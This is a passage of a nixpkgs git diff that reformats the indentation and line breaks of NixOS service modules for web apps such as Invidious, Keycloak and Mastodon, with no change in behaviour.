+++ b/nixos/modules/services/web-apps/gancio.nix
@@ -211,7 +211,8 @@ in
         wantedBy = [ "multi-user.target" ];
         after = [
           "network.target"
-        ] ++ optional (cfg.settings.db.dialect == "postgres") "postgresql.service";
+        ]
+        ++ optional (cfg.settings.db.dialect == "postgres") "postgresql.service";
 
         environment = {
           NODE_ENV = "production";
diff --git a/nixos/modules/services/web-apps/glitchtip.nix b/nixos/modules/services/web-apps/glitchtip.nix
index 18fb21510c3a..aaf949239388 100644
--- a/nixos/modules/services/web-apps/glitchtip.nix
+++ b/nixos/modules/services/web-apps/glitchtip.nix
@@ -173,10 +173,11 @@ in
           requires =
             lib.optional cfg.database.createLocally "postgresql.service"
             ++ lib.optional cfg.redis.createLocally "redis-glitchtip.service";
-          after =
-            [ "network-online.target" ]
-            ++ lib.optional cfg.database.createLocally "postgresql.service"
-            ++ lib.optional cfg.redis.createLocally "redis-glitchtip.service";
+          after = [
+            "network-online.target"
+          ]
+          ++ lib.optional cfg.database.createLocally "postgresql.service"
+          ++ lib.optional cfg.redis.createLocally "redis-glitchtip.service";
 
           inherit environment;
         };
diff --git a/nixos/modules/services/web-apps/guacamole-server.nix b/nixos/modules/services/web-apps/guacamole-server.nix
index 0662394565c3..79a90fe7df60 100644
--- a/nixos/modules/services/web-apps/guacamole-server.nix
+++ b/nixos/modules/services/web-apps/guacamole-server.nix
@@ -75,7 +75,8 @@ in
       after = [ "network.target" ];
       environment = {
         HOME = "/run/guacamole-server";
-      } // cfg.extraEnvironment;
+      }
+      // cfg.extraEnvironment;
       serviceConfig = {
         ExecStart = "${lib.getExe cfg.package} -f -b ${cfg.host} -l ${toString cfg.port}";
         RuntimeDirectory = "guacamole-server";
diff --git a/nixos/modules/services/web-apps/healthchecks.nix b/nixos/modules/services/web-apps/healthchecks.nix
index 866e59ffbf83..eec40a8a07f9 100644
--- a/nixos/modules/services/web-apps/healthchecks.nix
+++ b/nixos/modules/services/web-apps/healthchecks.nix
@@ -18,7 +18,8 @@ let
   environment = {
     PYTHONPATH = pkg.pythonPath;
     STATIC_ROOT = cfg.dataDir + "/static";
-  } // lib.filterAttrs (_: v: !builtins.isNull v) cfg.settings;
+  }
+  // lib.filterAttrs (_: v: !builtins.isNull v) cfg.settings;
 
   environmentFile = pkgs.writeText "healthchecks-environment" (
     lib.generators.toKeyValue { } environment
@@ -211,7 +212,8 @@ in
           Group = cfg.group;
           EnvironmentFile = [
             environmentFile
-          ] ++ lib.optional (cfg.settingsFile != null) cfg.settingsFile;
+          ]
+          ++ lib.optional (cfg.settingsFile != null) cfg.settingsFile;
           StateDirectory = mkIf (cfg.dataDir == "/var/lib/healthchecks") "healthchecks";
           StateDirectoryMode = mkIf (cfg.dataDir == "/var/lib/healthchecks") "0750";
         };
@@ -235,12 +237,11 @@ in
           wantedBy = [ "healthchecks.target" ];
           after = [ "healthchecks-migration.service" ];
 
-          preStart =
-            ''
-              ${pkg}/opt/healthchecks/manage.py collectstatic --no-input
-              ${pkg}/opt/healthchecks/manage.py remove_stale_contenttypes --no-input
-            ''
-            + lib.optionalString (cfg.settings.DEBUG != "True") "${pkg}/opt/healthchecks/manage.py compress";
+          preStart = ''
+            ${pkg}/opt/healthchecks/manage.py collectstatic --no-input
+            ${pkg}/opt/healthchecks/manage.py remove_stale_contenttypes --no-input
+          ''
+          + lib.optionalString (cfg.settings.DEBUG != "True") "${pkg}/opt/healthchecks/manage.py compress";
 
           serviceConfig = commonConfig // {
             Restart = "always";
diff --git a/nixos/modules/services/web-apps/hedgedoc.nix b/nixos/modules/services/web-apps/hedgedoc.nix
index 587cf10f9c53..4c0b1d688665 100644
--- a/nixos/modules/services/web-apps/hedgedoc.nix
+++ b/nixos/modules/services/web-apps/hedgedoc.nix
@@ -283,7 +283,8 @@ in
         WorkingDirectory = "/run/${name}";
         ReadWritePaths = [
           "-${cfg.settings.uploadsPath}"
-        ] ++ lib.optionals (cfg.settings.db ? "storage") [ "-${cfg.settings.db.storage}" ];
+        ]
+        ++ lib.optionals (cfg.settings.db ? "storage") [ "-${cfg.settings.db.storage}" ];
         EnvironmentFile = lib.mkIf (cfg.environmentFile != null) [ cfg.environmentFile ];
         Environment = [
           "CMD_CONFIG_FILE=/run/${name}/config.json"
diff --git a/nixos/modules/services/web-apps/icingaweb2/module-monitoring.nix b/nixos/modules/services/web-apps/icingaweb2/module-monitoring.nix
index 8ca1d9d07103..c213185827d1 100644
--- a/nixos/modules/services/web-apps/icingaweb2/module-monitoring.nix
+++ b/nixos/modules/services/web-apps/icingaweb2/module-monitoring.nix
@@ -185,20 +185,19 @@ in
   };
 
   config = mkIf (config.services.icingaweb2.enable && cfg.enable) {
-    environment.etc =
-      {
-        "icingaweb2/enabledModules/monitoring" = {
-          source = "${pkgs.icingaweb2}/modules/monitoring";
-        };
-      }
-      // optionalAttrs (!cfg.generalConfig.mutable) {
-        "icingaweb2/modules/monitoring/config.ini".text = configIni;
-      }
-      // optionalAttrs (!cfg.mutableBackends) {
-        "icingaweb2/modules/monitoring/backends.ini".text = backendsIni;
-      }
-      // optionalAttrs (!cfg.mutableTransports) {
-        "icingaweb2/modules/monitoring/commandtransports.ini".text = transportsIni;
+    environment.etc = {
+      "icingaweb2/enabledModules/monitoring" = {
+        source = "${pkgs.icingaweb2}/modules/monitoring";
       };
+    }
+    // optionalAttrs (!cfg.generalConfig.mutable) {
+      "icingaweb2/modules/monitoring/config.ini".text = configIni;
+    }
+    // optionalAttrs (!cfg.mutableBackends) {
+      "icingaweb2/modules/monitoring/backends.ini".text = backendsIni;
+    }
+    // optionalAttrs (!cfg.mutableTransports) {
+      "icingaweb2/modules/monitoring/commandtransports.ini".text = transportsIni;
+    };
   };
 }
diff --git a/nixos/modules/services/web-apps/ifm.nix b/nixos/modules/services/web-apps/ifm.nix
index 747a7469cd92..77ee0010c694 100644
--- a/nixos/modules/services/web-apps/ifm.nix
+++ b/nixos/modules/services/web-apps/ifm.nix
@@ -56,7 +56,8 @@ in
       wantedBy = [ "multi-user.target" ];
 
       environment = {
-      } // (builtins.mapAttrs (_: val: toString val) cfg.settings);
+      }
+      // (builtins.mapAttrs (_: val: toString val) cfg.settings);
 
       serviceConfig = {
         DynamicUser = true;
diff --git a/nixos/modules/services/web-apps/invidious.nix b/nixos/modules/services/web-apps/invidious.nix
index 64bd8751bb3d..b774ebeb00ae 100644
--- a/nixos/modules/services/web-apps/invidious.nix
+++ b/nixos/modules/services/web-apps/invidious.nix
@@ -77,43 +77,42 @@ let
         wants = commonInvidousServiceConfig.wants ++ [ "invidious.service" ];
       })
       {
-        script =
-          ''
-            configParts=()
-          ''
-          # autogenerated hmac_key
-          + lib.optionalString generateHmac ''
-            configParts+=("$(${pkgs.jq}/bin/jq -R '{"hmac_key":.}' <"${generatedHmacKeyFile}")")
-          ''
-          # generated settings file
-          + ''
-            configParts+=("$(< ${lib.escapeShellArg settingsFile})")
-          ''
-          # optional database password file
-          + lib.optionalString (cfg.database.host != null) ''
-            configParts+=("$(${pkgs.jq}/bin/jq -R '{"db":{"password":.}}' ${lib.escapeShellArg cfg.database.passwordFile})")
-          ''
-          # optional extra settings file
-          + lib.optionalString (cfg.extraSettingsFile != null) ''
-            configParts+=("$(< ${lib.escapeShellArg cfg.extraSettingsFile})")
-          ''
-          # explicitly specified hmac key file
-          + lib.optionalString (cfg.hmacKeyFile != null) ''
-            configParts+=("$(< ${lib.escapeShellArg cfg.hmacKeyFile})")
-          ''
-          # configure threads for secondary instances
-          + lib.optionalString (scaleIndex > 0) ''
-            configParts+=('{"channel_threads":0, "feed_threads":0}')
-          ''
-          # configure different ports for the instances
-          + ''
-            configParts+=('{"port":${toString (cfg.port + scaleIndex)}}')
-          ''
-          # merge all parts into a single configuration with later elements overriding previous elements
-          + ''
-            export INVIDIOUS_CONFIG="$(${pkgs.jq}/bin/jq -s 'reduce .[] as $item ({}; . * $item)' <<<"''${configParts[*]}")"
-            exec ${cfg.package}/bin/invidious
-          '';
+        script = ''
+          configParts=()
+        ''
+        # autogenerated hmac_key
+        + lib.optionalString generateHmac ''
+          configParts+=("$(${pkgs.jq}/bin/jq -R '{"hmac_key":.}' <"${generatedHmacKeyFile}")")
+        ''
+        # generated settings file
+        + ''
+          configParts+=("$(< ${lib.escapeShellArg settingsFile})")
+        ''
+        # optional database password file
+        + lib.optionalString (cfg.database.host != null) ''
+          configParts+=("$(${pkgs.jq}/bin/jq -R '{"db":{"password":.}}' ${lib.escapeShellArg cfg.database.passwordFile})")
+        ''
+        # optional extra settings file
+        + lib.optionalString (cfg.extraSettingsFile != null) ''
+          configParts+=("$(< ${lib.escapeShellArg cfg.extraSettingsFile})")
+        ''
+        # explicitly specified hmac key file
+        + lib.optionalString (cfg.hmacKeyFile != null) ''
+          configParts+=("$(< ${lib.escapeShellArg cfg.hmacKeyFile})")
+        ''
+        # configure threads for secondary instances
+        + lib.optionalString (scaleIndex > 0) ''
+          configParts+=('{"channel_threads":0, "feed_threads":0}')
+        ''
+        # configure different ports for the instances
+        + ''
+          configParts+=('{"port":${toString (cfg.port + scaleIndex)}}')
+        ''
+        # merge all parts into a single configuration with later elements overriding previous elements
+        + ''
+          export INVIDIOUS_CONFIG="$(${pkgs.jq}/bin/jq -s 'reduce .[] as $item ({}; . * $item)' <<<"''${configParts[*]}")"
+          exec ${cfg.package}/bin/invidious
+        '';
       }
     ];
 
@@ -125,29 +124,28 @@ let
       }) cfg.serviceScale
     );
 
-    services.invidious.settings =
-      {
-        # Automatically initialises and migrates the database if necessary
-        check_tables = true;
+    services.invidious.settings = {
+      # Automatically initialises and migrates the database if necessary
+      check_tables = true;
 
-        db = {
-          user = lib.mkDefault (
-            if (lib.versionAtLeast config.system.stateVersion "24.05") then "invidious" else "kemal"
-          );
-          dbname = lib.mkDefault "invidious";
-          port = cfg.database.port;
-          # Blank for unix sockets, see
-          # https://github.com/will/crystal-pg/blob/1548bb255210/src/pq/conninfo.cr#L100-L108
-          host = lib.optionalString (cfg.database.host != null) cfg.database.host;
-          # Not needed because peer authentication is enabled
-          password = lib.mkIf (cfg.database.host == null) "";
-        };
+      db = {
+        user = lib.mkDefault (
+          if (lib.versionAtLeast config.system.stateVersion "24.05") then "invidious" else "kemal"
+        );
+        dbname = lib.mkDefault "invidious";
+        port = cfg.database.port;
+        # Blank for unix sockets, see
+        # https://github.com/will/crystal-pg/blob/1548bb255210/src/pq/conninfo.cr#L100-L108
+        host = lib.optionalString (cfg.database.host != null) cfg.database.host;
+        # Not needed because peer authentication is enabled
+        password = lib.mkIf (cfg.database.host == null) "";
+      };
 
-        host_binding = cfg.address;
-      }
-      // (lib.optionalAttrs (cfg.domain != null) {
-        inherit (cfg) domain;
-      });
+      host_binding = cfg.address;
+    }
+    // (lib.optionalAttrs (cfg.domain != null) {
+      inherit (cfg) domain;
+    });
 
     assertions = [
       {
diff --git a/nixos/modules/services/web-apps/invoiceplane.nix b/nixos/modules/services/web-apps/invoiceplane.nix
index 8904c41beea7..10bac784e5f0 100644
--- a/nixos/modules/services/web-apps/invoiceplane.nix
+++ b/nixos/modules/services/web-apps/invoiceplane.nix
@@ -320,7 +320,8 @@ in
             settings = {
               "listen.owner" = webserver.user;
               "listen.group" = webserver.group;
-            } // cfg.poolConfig;
+            }
+            // cfg.poolConfig;
           })
         ) eachSite;
       };
diff --git a/nixos/modules/services/web-apps/jirafeau.nix b/nixos/modules/services/web-apps/jirafeau.nix
index b377d5d30284..6065432b8976 100644
--- a/nixos/modules/services/web-apps/jirafeau.nix
+++ b/nixos/modules/services/web-apps/jirafeau.nix
@@ -162,7 +162,8 @@ in
           "listen.mode" = "0660";
           "listen.owner" = user;
           "listen.group" = group;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
     };
 
diff --git a/nixos/modules/services/web-apps/jitsi-meet.nix b/nixos/modules/services/web-apps/jitsi-meet.nix
index fa9ea8e698c6..b1cf2c74c041 100644
--- a/nixos/modules/services/web-apps/jitsi-meet.nix
+++ b/nixos/modules/services/web-apps/jitsi-meet.nix
@@ -445,13 +445,12 @@ in
 
     systemd.services.jitsi-meet-init-secrets = {
       wantedBy = [ "multi-user.target" ];
-      before =
-        [
-          "jicofo.service"
-          "jitsi-videobridge2.service"
-        ]
-        ++ (optional cfg.prosody.enable "prosody.service")
-        ++ (optional cfg.jigasi.enable "jigasi.service");
+      before = [
+        "jicofo.service"
+        "jitsi-videobridge2.service"
+      ]
+      ++ (optional cfg.prosody.enable "prosody.service")
+      ++ (optional cfg.jigasi.enable "jigasi.service");
       serviceConfig = {
         Type = "oneshot";
         UMask = "027";
@@ -462,18 +461,17 @@ in
 
       script =
         let
-          secrets =
-            [
-              "jicofo-component-secret"
-              "jicofo-user-secret"
-              "jibri-auth-secret"
-              "jibri-recorder-secret"
-            ]
-            ++ (optionals cfg.jigasi.enable [
-              "jigasi-user-secret"
-              "jigasi-component-secret"
-            ])
-            ++ (optional (cfg.videobridge.passwordFile == null) "videobridge-secret");
+          secrets = [
+            "jicofo-component-secret"
+            "jicofo-user-secret"
+            "jibri-auth-secret"
+            "jibri-recorder-secret"
+          ]
+          ++ (optionals cfg.jigasi.enable [
+            "jigasi-user-secret"
+            "jigasi-component-secret"
+          ])
+          ++ (optional (cfg.videobridge.passwordFile == null) "videobridge-secret");
         in
         ''
           ${concatMapStringsSep "\n" (s: ''
diff --git a/nixos/modules/services/web-apps/karakeep.nix b/nixos/modules/services/web-apps/karakeep.nix
index 14ec552a41d6..df431d89c3a9 100644
--- a/nixos/modules/services/web-apps/karakeep.nix
+++ b/nixos/modules/services/web-apps/karakeep.nix
@@ -20,7 +20,8 @@ let
 
   environmentFiles = [
     "/var/lib/karakeep/settings.env"
-  ] ++ (lib.optional (cfg.environmentFile != null) cfg.environmentFile);
+  ]
+  ++ (lib.optional (cfg.environmentFile != null) cfg.environmentFile);
 in
 {
   options = {
diff --git a/nixos/modules/services/web-apps/keycloak.nix b/nixos/modules/services/web-apps/keycloak.nix
index 867006f8c65f..3ec5b1178909 100644
--- a/nixos/modules/services/web-apps/keycloak.nix
+++ b/nixos/modules/services/web-apps/keycloak.nix
@@ -712,15 +712,14 @@ in
             openssl
             replace-secret
           ];
-          environment =
-            {
-              KC_HOME_DIR = "/run/keycloak";
-              KC_CONF_DIR = "/run/keycloak/conf";
-            }
-            // lib.optionalAttrs (cfg.initialAdminPassword != null) {
-              KC_BOOTSTRAP_ADMIN_USERNAME = "admin";
-              KC_BOOTSTRAP_ADMIN_PASSWORD = cfg.initialAdminPassword;
-            };
+          environment = {
+            KC_HOME_DIR = "/run/keycloak";
+            KC_CONF_DIR = "/run/keycloak/conf";
+          }
+          // lib.optionalAttrs (cfg.initialAdminPassword != null) {
+            KC_BOOTSTRAP_ADMIN_USERNAME = "admin";
+            KC_BOOTSTRAP_ADMIN_PASSWORD = cfg.initialAdminPassword;
+          };
           serviceConfig = {
             LoadCredential =
               map (p: "${baseNameOf p}:${p}") secretPaths
@@ -737,34 +736,33 @@ in
             Type = "notify"; # Requires quarkus-systemd-notify plugin
             NotifyAccess = "all";
           };
-          script =
-            ''
-              set -o errexit -o pipefail -o nounset -o errtrace
-              shopt -s inherit_errexit
+          script = ''
+            set -o errexit -o pipefail -o nounset -o errtrace
+            shopt -s inherit_errexit
 
-              umask u=rwx,g=,o=
+            umask u=rwx,g=,o=
 
-              ln -s ${themesBundle} /run/keycloak/themes
-              ln -s ${keycloakBuild}/providers /run/keycloak/
-              ln -s ${keycloakBuild}/lib /run/keycloak/
+            ln -s ${themesBundle} /run/keycloak/themes
+            ln -s ${keycloakBuild}/providers /run/keycloak/
+            ln -s ${keycloakBuild}/lib /run/keycloak/
 
-              install -D -m 0600 ${confFile} /run/keycloak/conf/keycloak.conf
+            install -D -m 0600 ${confFile} /run/keycloak/conf/keycloak.conf
 
-              ${secretReplacements}
+            ${secretReplacements}
 
-              # Escape any backslashes in the db parameters, since
-              # they're otherwise unexpectedly read as escape
-              # sequences.
-              sed -i '/db-/ s|\\|\\\\|g' /run/keycloak/conf/keycloak.conf
+            # Escape any backslashes in the db parameters, since
+            # they're otherwise unexpectedly read as escape
+            # sequences.
+            sed -i '/db-/ s|\\|\\\\|g' /run/keycloak/conf/keycloak.conf
 
-            ''
-            + optionalString (cfg.sslCertificate != null && cfg.sslCertificateKey != null) ''
-              mkdir -p /run/keycloak/ssl
-              cp $CREDENTIALS_DIRECTORY/ssl_{cert,key} /run/keycloak/ssl/
-            ''
-            + ''
-              kc.sh --verbose start --optimized ${lib.optionalString (cfg.realmFiles != [ ]) "--import-realm"}
-            '';
+          ''
+          + optionalString (cfg.sslCertificate != null && cfg.sslCertificateKey != null) ''
+            mkdir -p /run/keycloak/ssl
+            cp $CREDENTIALS_DIRECTORY/ssl_{cert,key} /run/keycloak/ssl/
+          ''
+          + ''
+            kc.sh --verbose start --optimized ${lib.optionalString (cfg.realmFiles != [ ]) "--import-realm"}
+          '';
         };
 
       services.postgresql.enable = mkDefault createLocalPostgreSQL;
diff --git a/nixos/modules/services/web-apps/kimai.nix b/nixos/modules/services/web-apps/kimai.nix
index 4ca464489b47..0989b97eae4e 100644
--- a/nixos/modules/services/web-apps/kimai.nix
+++ b/nixos/modules/services/web-apps/kimai.nix
@@ -244,7 +244,8 @@ in
           settings = {
             "listen.owner" = webserver.user;
             "listen.group" = webserver.group;
-          } // cfg.poolConfig;
+          }
+          // cfg.poolConfig;
         })
       ) eachSite;
 
diff --git a/nixos/modules/services/web-apps/lanraragi.nix b/nixos/modules/services/web-apps/lanraragi.nix
index 4c029d301827..443bb68817de 100644
--- a/nixos/modules/services/web-apps/lanraragi.nix
+++ b/nixos/modules/services/web-apps/lanraragi.nix
@@ -79,29 +79,28 @@ in
         "LRR_NETWORK" = "http://*:${toString cfg.port}";
         "HOME" = "/var/lib/lanraragi";
       };
-      preStart =
-        ''
-          cat > lrr.conf <<EOF
-          {
-            redis_address => "127.0.0.1:${toString cfg.redis.port}",
-            redis_password => "${
-              lib.optionalString (cfg.redis.passwordFile != null) ''$(head -n1 ${cfg.redis.passwordFile})''
-            }",
-            redis_database => "0",
-            redis_database_minion => "1",
-            redis_database_config => "2",
-            redis_database_search => "3",
-          }
-          EOF
-        ''
-        + lib.optionalString (cfg.passwordFile != null) ''
-          ${lib.getExe pkgs.redis} -h 127.0.0.1 -p ${toString cfg.redis.port} ${
-            lib.optionalString (cfg.redis.passwordFile != null) ''-a "$(head -n1 ${cfg.redis.passwordFile})"''
-          }<<EOF
-            SELECT 2
-            HSET LRR_CONFIG password $(${cfg.package}/bin/helpers/lrr-make-password-hash $(head -n1 ${cfg.passwordFile}))
-          EOF
-        '';
+      preStart = ''
+        cat > lrr.conf <<EOF
+        {
+          redis_address => "127.0.0.1:${toString cfg.redis.port}",
+          redis_password => "${
+            lib.optionalString (cfg.redis.passwordFile != null) ''$(head -n1 ${cfg.redis.passwordFile})''
+          }",
+          redis_database => "0",
+          redis_database_minion => "1",
+          redis_database_config => "2",
+          redis_database_search => "3",
+        }
+        EOF
+      ''
+      + lib.optionalString (cfg.passwordFile != null) ''
+        ${lib.getExe pkgs.redis} -h 127.0.0.1 -p ${toString cfg.redis.port} ${
+          lib.optionalString (cfg.redis.passwordFile != null) ''-a "$(head -n1 ${cfg.redis.passwordFile})"''
+        }<<EOF
+          SELECT 2
+          HSET LRR_CONFIG password $(${cfg.package}/bin/helpers/lrr-make-password-hash $(head -n1 ${cfg.passwordFile}))
+        EOF
+      '';
     };
   };
 }
diff --git a/nixos/modules/services/web-apps/limesurvey.nix b/nixos/modules/services/web-apps/limesurvey.nix
index c1d4d01b6a6a..70f95cfcf013 100644
--- a/nixos/modules/services/web-apps/limesurvey.nix
+++ b/nixos/modules/services/web-apps/limesurvey.nix
@@ -336,7 +336,8 @@ in
       settings = {
         "listen.owner" = config.services.httpd.user;
         "listen.group" = config.services.httpd.group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
     systemd.services.phpfpm-limesurvey.serviceConfig = {
       ExecStartPre = pkgs.writeShellScript "limesurvey-phpfpm-exec-pre" ''
@@ -443,8 +444,7 @@ in
     };
 
     systemd.services.httpd.after =
-      optional mysqlLocal "mysql.service"
-      ++ optional pgsqlLocal "postgresql.service";
+      optional mysqlLocal "mysql.service" ++ optional pgsqlLocal "postgresql.service";
 
     users.users.${user} = {
       group = group;
diff --git a/nixos/modules/services/web-apps/mastodon.nix b/nixos/modules/services/web-apps/mastodon.nix
index a415e8d7f771..a6b4e9d81386 100644
--- a/nixos/modules/services/web-apps/mastodon.nix
+++ b/nixos/modules/services/web-apps/mastodon.nix
@@ -16,51 +16,50 @@ let
   databaseActuallyCreateLocally =
     cfg.database.createLocally && cfg.database.host == "/run/postgresql";
 
-  env =
-    {
-      RAILS_ENV = "production";
-      NODE_ENV = "production";
+  env = {
+    RAILS_ENV = "production";
+    NODE_ENV = "production";
 
-      BOOTSNAP_CACHE_DIR = "/var/cache/mastodon/precompile";
-      LD_PRELOAD = "${pkgs.jemalloc}/lib/libjemalloc.so";
+    BOOTSNAP_CACHE_DIR = "/var/cache/mastodon/precompile";
+    LD_PRELOAD = "${pkgs.jemalloc}/lib/libjemalloc.so";
 
-      MASTODON_USE_LIBVIPS = "true";
+    MASTODON_USE_LIBVIPS = "true";
 
-      # Concurrency mastodon-web
-      WEB_CONCURRENCY = toString cfg.webProcesses;
-      MAX_THREADS = toString cfg.webThreads;
+    # Concurrency mastodon-web
+    WEB_CONCURRENCY = toString cfg.webProcesses;
+    MAX_THREADS = toString cfg.webThreads;
 
-      DB_USER = cfg.database.user;
+    DB_USER = cfg.database.user;
 
-      DB_HOST = cfg.database.host;
-      DB_NAME = cfg.database.name;
-      LOCAL_DOMAIN = cfg.localDomain;
-      SMTP_SERVER = cfg.smtp.host;
-      SMTP_PORT = toString cfg.smtp.port;
-      SMTP_FROM_ADDRESS = cfg.smtp.fromAddress;
-      PAPERCLIP_ROOT_PATH = "/var/lib/mastodon/public-system";
-      PAPERCLIP_ROOT_URL = "/system";
-      ES_ENABLED = if (cfg.elasticsearch.host != null) then "true" else "false";
+    DB_HOST = cfg.database.host;
+    DB_NAME = cfg.database.name;
+    LOCAL_DOMAIN = cfg.localDomain;
+    SMTP_SERVER = cfg.smtp.host;
+    SMTP_PORT = toString cfg.smtp.port;
+    SMTP_FROM_ADDRESS = cfg.smtp.fromAddress;
+    PAPERCLIP_ROOT_PATH = "/var/lib/mastodon/public-system";
+    PAPERCLIP_ROOT_URL = "/system";
+    ES_ENABLED = if (cfg.elasticsearch.host != null) then "true" else "false";
 
-      TRUSTED_PROXY_IP = cfg.trustedProxy;
-    }
-    // lib.optionalAttrs (cfg.redis.host != null) { REDIS_HOST = cfg.redis.host; }
-    // lib.optionalAttrs (cfg.redis.port != null) { REDIS_PORT = toString cfg.redis.port; }
-    // lib.optionalAttrs (cfg.redis.createLocally && cfg.redis.enableUnixSocket) {
-      REDIS_URL = "unix://${config.services.redis.servers.mastodon.unixSocket}";
-    }
-    // lib.optionalAttrs (cfg.database.host != "/run/postgresql" && cfg.database.port != null) {
-      DB_PORT = toString cfg.database.port;
-    }
-    // lib.optionalAttrs cfg.smtp.authenticate { SMTP_LOGIN = cfg.smtp.user; }
-    // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_HOST = cfg.elasticsearch.host; }
-    // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_PORT = toString cfg.elasticsearch.port; }
-    // lib.optionalAttrs (cfg.elasticsearch.host != null && cfg.elasticsearch.prefix != null) {
-      ES_PREFIX = cfg.elasticsearch.prefix;
-    }
-    // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_PRESET = cfg.elasticsearch.preset; }
-    // lib.optionalAttrs (cfg.elasticsearch.user != null) { ES_USER = cfg.elasticsearch.user; }
-    // cfg.extraConfig;
+    TRUSTED_PROXY_IP = cfg.trustedProxy;
+  }
+  // lib.optionalAttrs (cfg.redis.host != null) { REDIS_HOST = cfg.redis.host; }
+  // lib.optionalAttrs (cfg.redis.port != null) { REDIS_PORT = toString cfg.redis.port; }
+  // lib.optionalAttrs (cfg.redis.createLocally && cfg.redis.enableUnixSocket) {
+    REDIS_URL = "unix://${config.services.redis.servers.mastodon.unixSocket}";
+  }
+  // lib.optionalAttrs (cfg.database.host != "/run/postgresql" && cfg.database.port != null) {
+    DB_PORT = toString cfg.database.port;
+  }
+  // lib.optionalAttrs cfg.smtp.authenticate { SMTP_LOGIN = cfg.smtp.user; }
+  // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_HOST = cfg.elasticsearch.host; }
+  // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_PORT = toString cfg.elasticsearch.port; }
+  // lib.optionalAttrs (cfg.elasticsearch.host != null && cfg.elasticsearch.prefix != null) {
+    ES_PREFIX = cfg.elasticsearch.prefix;
+  }
+  // lib.optionalAttrs (cfg.elasticsearch.host != null) { ES_PRESET = cfg.elasticsearch.preset; }
+  // lib.optionalAttrs (cfg.elasticsearch.user != null) { ES_USER = cfg.elasticsearch.user; }
+  // cfg.extraConfig;
 
   systemCallsList = [
     "@cpu-emulation"
@@ -170,7 +169,8 @@ let
         after = [
           "network.target"
           "mastodon-init-dirs.service"
-        ] ++ commonServices;
+        ]
+        ++ commonServices;
         requires = [ "mastodon-init-dirs.service" ] ++ commonServices;
         description = "Mastodon sidekiq${jobClassLabel}";
         wantedBy = [ "mastodon.target" ];
@@ -192,7 +192,8 @@ let
             "pipe"
             "pipe2"
           ];
-        } // cfgService;
+        }
+        // cfgService;
         path = with pkgs; [
           ffmpeg-headless
           file
@@ -209,7 +210,8 @@ let
         after = [
           "network.target"
           "mastodon-init-dirs.service"
-        ] ++ commonServices;
+        ]
+        ++ commonServices;
         requires = [ "mastodon-init-dirs.service" ] ++ commonServices;
         wantedBy = [
           "mastodon.target"
@@ -243,7 +245,8 @@ let
             "pipe"
             "pipe2"
           ];
-        } // cfgService;
+        }
+        // cfgService;
       };
     }) (lib.range 1 cfg.streamingProcesses)
   );
@@ -869,64 +872,63 @@ in
         };
 
         systemd.services.mastodon-init-dirs = {
-          script =
-            ''
-              umask 077
+          script = ''
+            umask 077
 
-              if ! test -d /var/cache/mastodon/precompile; then
-                ${cfg.package}/bin/bundle exec bootsnap precompile --gemfile ${cfg.package}/app ${cfg.package}/lib
-              fi
-              if ! test -f ${cfg.activeRecordEncryptionDeterministicKeyFile}; then
-                mkdir -p $(dirname ${cfg.activeRecordEncryptionDeterministicKeyFile})
-                bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY=//' > ${cfg.activeRecordEncryptionDeterministicKeyFile}
-              fi
-              if ! test -f ${cfg.activeRecordEncryptionKeyDerivationSaltFile}; then
-                mkdir -p $(dirname ${cfg.activeRecordEncryptionKeyDerivationSaltFile})
-                bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT=//' > ${cfg.activeRecordEncryptionKeyDerivationSaltFile}
-              fi
-              if ! test -f ${cfg.activeRecordEncryptionPrimaryKeyFile}; then
-                mkdir -p $(dirname ${cfg.activeRecordEncryptionPrimaryKeyFile})
-                bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY=//' > ${cfg.activeRecordEncryptionPrimaryKeyFile}
-              fi
-              if ! test -f ${cfg.secretKeyBaseFile}; then
-                mkdir -p $(dirname ${cfg.secretKeyBaseFile})
-                bin/bundle exec rails secret > ${cfg.secretKeyBaseFile}
-              fi
-              if ! test -f ${cfg.otpSecretFile}; then
-                mkdir -p $(dirname ${cfg.otpSecretFile})
-                bin/bundle exec rails secret > ${cfg.otpSecretFile}
-              fi
-              if ! test -f ${cfg.vapidPrivateKeyFile}; then
-                mkdir -p $(dirname ${cfg.vapidPrivateKeyFile}) $(dirname ${cfg.vapidPublicKeyFile})
-                keypair=$(bin/rake webpush:generate_keys)
-                echo $keypair | grep --only-matching "Private -> [^ ]\+" | sed 's/^Private -> //' > ${cfg.vapidPrivateKeyFile}
-                echo $keypair | grep --only-matching "Public -> [^ ]\+" | sed 's/^Public -> //' > ${cfg.vapidPublicKeyFile}
-              fi
+            if ! test -d /var/cache/mastodon/precompile; then
+              ${cfg.package}/bin/bundle exec bootsnap precompile --gemfile ${cfg.package}/app ${cfg.package}/lib
+            fi
+            if ! test -f ${cfg.activeRecordEncryptionDeterministicKeyFile}; then
+              mkdir -p $(dirname ${cfg.activeRecordEncryptionDeterministicKeyFile})
+              bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY=//' > ${cfg.activeRecordEncryptionDeterministicKeyFile}
+            fi
+            if ! test -f ${cfg.activeRecordEncryptionKeyDerivationSaltFile}; then
+              mkdir -p $(dirname ${cfg.activeRecordEncryptionKeyDerivationSaltFile})
+              bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT=//' > ${cfg.activeRecordEncryptionKeyDerivationSaltFile}
+            fi
+            if ! test -f ${cfg.activeRecordEncryptionPrimaryKeyFile}; then
